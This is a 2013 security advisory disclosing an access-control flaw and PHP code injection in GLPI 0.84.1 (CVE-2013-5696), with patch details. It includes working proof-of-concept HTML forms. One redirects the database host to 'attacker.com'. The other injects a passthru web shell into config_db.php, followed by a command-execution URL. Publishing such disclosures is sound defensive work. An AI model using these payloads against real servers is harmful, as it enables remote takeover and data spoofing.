Remote Code Execution in GLPI

[High-Tech Bridge Security Research <advisory () htbridge com>]

Advisory ID: HTB23173
Product: GLPI
Vendor: INDEPNET
Vulnerable Version(s): 0.84.1 and probably prior
Tested Version: 0.84.1
Advisory Publication:  September 11, 2013  [without technical details]
Vendor Notification: September 11, 2013 
Vendor Patch: September 12, 2013 
Public Disclosure: October 2, 2013 
Vulnerability Type: Improper Access Control [CWE-284],Code Injection [CWE-94]
CVE Reference: CVE-2013-5696
Risk Level: Critical 
CVSSv2 Base Scores: 6.4 (AV:N/AC:L/Au:N/C:N/I:P/A:P), 10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in GLPI, which can be exploited to bypass 
security restrictions and execute arbitrary PHP code with privileges of web server.


1) Improper Access Control in GLPI

The vulnerability exists due to insufficient access restrictions to the installation script "/install/install.php", 
which is present by default after application installation. A remote attacker can change application’s configuration, 
such as database host, forcing the application to connect to an external database and spoof information on the website, 
obtain access to sensitive information or simply cause a denial of service.

Simple exploit below changes the database hostname to "attacker.com", which forces the application to connect to a 
malicious database controlled by the attacker:


<form action="http://[host]/install/install.php"; method="post" name="main">
<input type="hidden" name="install"  value="update_1">
<input type="hidden" name="db_host"  value="attacker.com">
<input type="submit" id="btn">
</form>



2) Arbitrary PHP Code Injection in GLPI

The vulnerability exists due to insufficient validation of user-supplied input passed to the "db_host", "db_user", 
"db_pass", and "databasename" HTTP POST parameters via "/install/install.php" script [that is present by default after 
application installation] before writing data into "/config_db.php" file. A remote attacker can inject and execute 
arbitrary PHP code on the vulnerable system. 

Simple exploit below injects "passthru($_GET['cmd'])" PHP code into "config_db.php" file  allowing a remote attacker to 
execute arbitrary system command with privileges of the web server: 


<form action="http://[host]/install/install.php"; method="post" name="main">
<input type="hidden" name="install"  value="update_1">
<input type="hidden" name="db_host"  value="'; } passthru($_GET['cmd']); /*">
<input type="submit" id="btn">
</form>


After that attacker can access the web shell to execute system commands via the following URL:
http://[host]/index.php?cmd=ls -la; id; pwd;


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Solution:

Update to GLPI 0.84.2

More Information:
http://www.glpi-project.org/spip.php?page=annonce&id_breve=307&lang=fr
https://forge.indepnet.net/issues/4480

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References:

[1] High-Tech Bridge Advisory HTB23173 - https://www.htbridge.com/advisory/HTB23173 - Multiple Vulnerabilities in GLPI.
[2] GLPI - http://www.glpi-project.org - GLPI is the Information Resource-Manager with an additional 
Administration-Interface.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public 
use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE 
is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security 
assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details 
of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.